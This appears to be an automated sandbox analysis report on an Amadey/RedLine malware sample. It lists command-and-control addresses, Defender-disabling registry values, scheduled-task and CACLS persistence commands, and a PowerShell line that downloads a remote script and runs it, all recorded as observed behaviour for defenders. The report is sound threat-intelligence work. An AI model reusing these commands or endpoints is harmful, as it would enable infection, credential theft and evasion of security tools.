amadey | 148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543

Analysis

max time kernel
146s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21-03-2023 13:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe
Size

1.0MB
MD5

ec7d0ef4d41bb935c8af971fc37b5383
SHA1

a954d7d32952ab1c66a8e3ae8c60c6e9e6567b14
SHA256

148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543
SHA512

ed02fa2dfe752a419a0bf6b4112e16d8ec99b21db19437e7fbf441ece0262be7deb994b13900355b68ccd98faf8a5bbf7153e7f55288ea8a7b41ecc09b8cd57d
SSDEEP

24576:9yCTGrn0ezj0XRNh7wnXChE+MeYU34uPIWQsKOhRoJ:YCTGrn0ezjwgChoUougGKOhR

Score

10^/10

amadey redline gena vint discovery evasion infostealer persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.mdegmm.com/pdf/debug2.ps1

Extracted

Family

redline

Botnet

gena

193.233.20.30:4125

Attributes

auth_value
93c20961cb6b06b2d5781c212db6201e

Extracted

Family

redline

Botnet

vint

193.233.20.30:4125

Attributes

auth_value
fb8811912f8370b3d23bffda092d88d0

Extracted

Family

amadey

Version

3.68

62.204.41.87/joomla/index.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

v7623zG.exetz4624.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	v7623zG.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	tz4624.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	tz4624.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	tz4624.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	tz4624.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	v7623zG.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	v7623zG.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	tz4624.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	tz4624.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	v7623zG.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	v7623zG.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	v7623zG.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 19 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3932-209-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-210-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-212-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-214-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-216-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-218-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-220-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-222-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-224-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-226-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-228-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-230-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-232-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-234-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-236-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-238-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-240-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-242-0x0000000004BF0000-0x0000000004C2E000-memory.dmp	family_redline
behavioral1/memory/3932-535-0x0000000004C30000-0x0000000004C40000-memory.dmp	family_redline

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

47 2028 powershell.exe
48 3868 powershell.exe
49 2028 powershell.exe
50 3868 powershell.exe
Downloads MZ/PE file

flow	pid	process
47	2028	powershell.exe
48	3868	powershell.exe
49	2028	powershell.exe
50	3868	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

sqlcmd.exesqlcmd.exey71HN95.exelegenda.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	sqlcmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	sqlcmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	y71HN95.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	legenda.exe

Executes dropped EXE 13 IoCs

Processes:

zap1837.exezap2598.exezap2163.exetz4624.exev7623zG.exew20FD34.exexYcGH01.exey71HN95.exelegenda.exesqlcmd.exesqlcmd.exelegenda.exelegenda.exe

pid	process
4616	zap1837.exe
3852	zap2598.exe
264	zap2163.exe
3380	tz4624.exe
1508	v7623zG.exe
3932	w20FD34.exe
1076	xYcGH01.exe
2512	y71HN95.exe
1600	legenda.exe
3912	sqlcmd.exe
4288	sqlcmd.exe
4792	legenda.exe
864	legenda.exe

Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3324 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3324	rundll32.exe

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

tz4624.exev7623zG.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	tz4624.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	v7623zG.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	v7623zG.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

zap2598.exezap2163.exe148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exezap1837.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	zap2598.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	zap2163.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	zap2163.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	zap1837.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	zap1837.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	zap2598.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

3456 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

3456 1508 WerFault.exe v7623zG.exe
1016 3932 WerFault.exe w20FD34.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2900 schtasks.exe
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

4208 PING.EXE
3948 PING.EXE

pid	process
3456	sc.exe

pid	pid_target	process	target process
3456	1508	WerFault.exe	v7623zG.exe
1016	3932	WerFault.exe	w20FD34.exe

pid	process
2900	schtasks.exe

pid	process
4208	PING.EXE
3948	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

tz4624.exev7623zG.exew20FD34.exexYcGH01.exepowershell.exepowershell.exe

pid	process
3380	tz4624.exe
3380	tz4624.exe
1508	v7623zG.exe
1508	v7623zG.exe
3932	w20FD34.exe
3932	w20FD34.exe
1076	xYcGH01.exe
1076	xYcGH01.exe
2028	powershell.exe
3868	powershell.exe
3868	powershell.exe
2028	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

tz4624.exev7623zG.exew20FD34.exexYcGH01.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3380	tz4624.exe
Token: SeDebugPrivilege	1508	v7623zG.exe
Token: SeDebugPrivilege	3932	w20FD34.exe
Token: SeDebugPrivilege	1076	xYcGH01.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	3868	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exezap1837.exezap2598.exezap2163.exey71HN95.exelegenda.execmd.exesqlcmd.execmd.exesqlcmd.execmd.exe

description	pid	process	target process
PID 4632 wrote to memory of 4616	4632	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe	zap1837.exe
PID 4632 wrote to memory of 4616	4632	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe	zap1837.exe
PID 4632 wrote to memory of 4616	4632	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe	zap1837.exe
PID 4616 wrote to memory of 3852	4616	zap1837.exe	zap2598.exe
PID 4616 wrote to memory of 3852	4616	zap1837.exe	zap2598.exe
PID 4616 wrote to memory of 3852	4616	zap1837.exe	zap2598.exe
PID 3852 wrote to memory of 264	3852	zap2598.exe	zap2163.exe
PID 3852 wrote to memory of 264	3852	zap2598.exe	zap2163.exe
PID 3852 wrote to memory of 264	3852	zap2598.exe	zap2163.exe
PID 264 wrote to memory of 3380	264	zap2163.exe	tz4624.exe
PID 264 wrote to memory of 3380	264	zap2163.exe	tz4624.exe
PID 264 wrote to memory of 1508	264	zap2163.exe	v7623zG.exe
PID 264 wrote to memory of 1508	264	zap2163.exe	v7623zG.exe
PID 264 wrote to memory of 1508	264	zap2163.exe	v7623zG.exe
PID 3852 wrote to memory of 3932	3852	zap2598.exe	w20FD34.exe
PID 3852 wrote to memory of 3932	3852	zap2598.exe	w20FD34.exe
PID 3852 wrote to memory of 3932	3852	zap2598.exe	w20FD34.exe
PID 4616 wrote to memory of 1076	4616	zap1837.exe	xYcGH01.exe
PID 4616 wrote to memory of 1076	4616	zap1837.exe	xYcGH01.exe
PID 4616 wrote to memory of 1076	4616	zap1837.exe	xYcGH01.exe
PID 4632 wrote to memory of 2512	4632	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe	y71HN95.exe
PID 4632 wrote to memory of 2512	4632	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe	y71HN95.exe
PID 4632 wrote to memory of 2512	4632	148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe	y71HN95.exe
PID 2512 wrote to memory of 1600	2512	y71HN95.exe	legenda.exe
PID 2512 wrote to memory of 1600	2512	y71HN95.exe	legenda.exe
PID 2512 wrote to memory of 1600	2512	y71HN95.exe	legenda.exe
PID 1600 wrote to memory of 2900	1600	legenda.exe	schtasks.exe
PID 1600 wrote to memory of 2900	1600	legenda.exe	schtasks.exe
PID 1600 wrote to memory of 2900	1600	legenda.exe	schtasks.exe
PID 1600 wrote to memory of 2388	1600	legenda.exe	cmd.exe
PID 1600 wrote to memory of 2388	1600	legenda.exe	cmd.exe
PID 1600 wrote to memory of 2388	1600	legenda.exe	cmd.exe
PID 2388 wrote to memory of 2084	2388	cmd.exe	cmd.exe
PID 2388 wrote to memory of 2084	2388	cmd.exe	cmd.exe
PID 2388 wrote to memory of 2084	2388	cmd.exe	cmd.exe
PID 2388 wrote to memory of 1696	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 1696	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 1696	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 824	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 824	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 824	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 1268	2388	cmd.exe	cmd.exe
PID 2388 wrote to memory of 1268	2388	cmd.exe	cmd.exe
PID 2388 wrote to memory of 1268	2388	cmd.exe	cmd.exe
PID 2388 wrote to memory of 2584	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 2584	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 2584	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 4436	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 4436	2388	cmd.exe	cacls.exe
PID 2388 wrote to memory of 4436	2388	cmd.exe	cacls.exe
PID 1600 wrote to memory of 3912	1600	legenda.exe	sqlcmd.exe
PID 1600 wrote to memory of 3912	1600	legenda.exe	sqlcmd.exe
PID 1600 wrote to memory of 3912	1600	legenda.exe	sqlcmd.exe
PID 3912 wrote to memory of 4044	3912	sqlcmd.exe	cmd.exe
PID 3912 wrote to memory of 4044	3912	sqlcmd.exe	cmd.exe
PID 1600 wrote to memory of 4288	1600	legenda.exe	sqlcmd.exe
PID 1600 wrote to memory of 4288	1600	legenda.exe	sqlcmd.exe
PID 1600 wrote to memory of 4288	1600	legenda.exe	sqlcmd.exe
PID 4044 wrote to memory of 2028	4044	cmd.exe	powershell.exe
PID 4044 wrote to memory of 2028	4044	cmd.exe	powershell.exe
PID 4288 wrote to memory of 800	4288	sqlcmd.exe	cmd.exe
PID 4288 wrote to memory of 800	4288	sqlcmd.exe	cmd.exe
PID 800 wrote to memory of 3868	800	cmd.exe	powershell.exe
PID 800 wrote to memory of 3868	800	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe
"C:\Users\Admin\AppData\Local\Temp\148e964db7d15b4cece145596c2d2ece979872c88e51eca4d4106a5400140543.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4632

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap1837.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap1837.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4616

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap2598.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap2598.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3852

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2163.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2163.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:264

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4624.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4624.exe
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3380

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v7623zG.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v7623zG.exe
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1508 -s 1084
6⤵
- Program crash
PID:3456

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w20FD34.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w20FD34.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3932 -s 1348
5⤵
- Program crash
PID:1016

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xYcGH01.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xYcGH01.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1076

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y71HN95.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y71HN95.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2512

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F
4⤵
- Creates scheduled task(s)
PID:2900

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit
4⤵
- Suspicious use of WriteProcessMemory
PID:2388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:2084

C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:N"
5⤵
PID:1696

C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:R" /E
5⤵
PID:824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:1268

C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:N"
5⤵
PID:2584

C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:R" /E
5⤵
PID:4436

C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe
"C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
5⤵
- Suspicious use of WriteProcessMemory
PID:4044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe" >> NUL
5⤵
PID:3788

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:4208

C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
"C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4288

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
5⤵
- Suspicious use of WriteProcessMemory
PID:800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe" >> NUL
5⤵
PID:3704

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:3948

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
4⤵
- Loads dropped DLL
PID:3324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1508 -ip 1508
1⤵
PID:2860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3932 -ip 3932
1⤵
PID:1648

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
1⤵
- Executes dropped EXE
PID:4792

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
1⤵
- Executes dropped EXE
PID:864

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start wuauserv
1⤵
- Launches sc.exe
PID:3456

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA
Filesize
2KB

MD5
fc88b7748eb4cd37ae886a1c0813e4cf

SHA1
23e30b76fc94f0467a3efad342a91a3b84ff1eea

SHA256
3d81e317f8816680185517d7719e51fdbcd5807f9c629c4e3d0408820ec458da

SHA512
bb8ffaa2e8e581aa8d9a2e39b5f16c784d1431b4c18acc71b8fea84a4982d13a8ed1e5cf295c459ca35d8d4604c050210e0771386e7fe57d35c5ccd41fb92211

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691
Filesize
1KB

MD5
cb684ec7fe8555f949182c7423dafdc2

SHA1
ec49f7b4b777fa1da40af5328785782127ffc52c

SHA256
8e17b090e2d07abf04860e961e601d8c663d3eaafd16190e6e6b6a4f018c0b0e

SHA512
ef627ca15ac143710b707ce28bd0cbe3447446db64c61f89d78f7c868cad07bd267563a7927ac4cd733adf2da3d58dcfadba54f8e0bc78e06d79cd389b77e500

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA
Filesize
482B

MD5
e46d10cdbdbc029ab8fe0ff51291082c

SHA1
86e87afe2def43de1b424b5a7bc1f7eb953a562d

SHA256
1c166048a0f96222081f9d74ee0e3de42070eed0bd103606885c1780a1feb9fe

SHA512
bfcb4ef920b389fc8e736fd32264337e165709890997d093adbebf3bfc3bfd11e27f9cf246fc68f2364d745d0a55f4a7353df8793aea3b562e3bf84c87b29c95

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691
Filesize
486B

MD5
170a7c8d48a8486b663efe058c5a938e

SHA1
ee41efc82c5fdc654578ee67544fc569df8008e2

SHA256
cbdad0af4418ee68902216f72bf69b230508074df7f1ce7979b1bdef87bc4e38

SHA512
b7392e4de02330776d990be72f67d4fa731d414a55816b6fc529a15729126c2807bdf44cf88382f72a399e86b57f26b6c80de576fbf918bd1d1feab606e4fa11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
a55804de6c5e4eab0462ff4ce48aa7ec

SHA1
a3575216f15738da14ba6f8ce927aa1d97c0b1fb

SHA256
3ce383be2760720f756cbe7f3dd60f891b46625de78e9f71d88e12d560743c73

SHA512
e0d47633028118e8c1b2cb51a0727bde84eba44f031bfb868ef23fa7d48ca2fb04c9d35fbbdc498101c3156be1adbee0297fc662ffe1831a9cee002e56e2d45e

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe
Filesize
144KB

MD5
b5baf2e6261a1fb05bb2654c8d099dd6

SHA1
2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

SHA256
4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

SHA512
4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe
Filesize
144KB

MD5
b5baf2e6261a1fb05bb2654c8d099dd6

SHA1
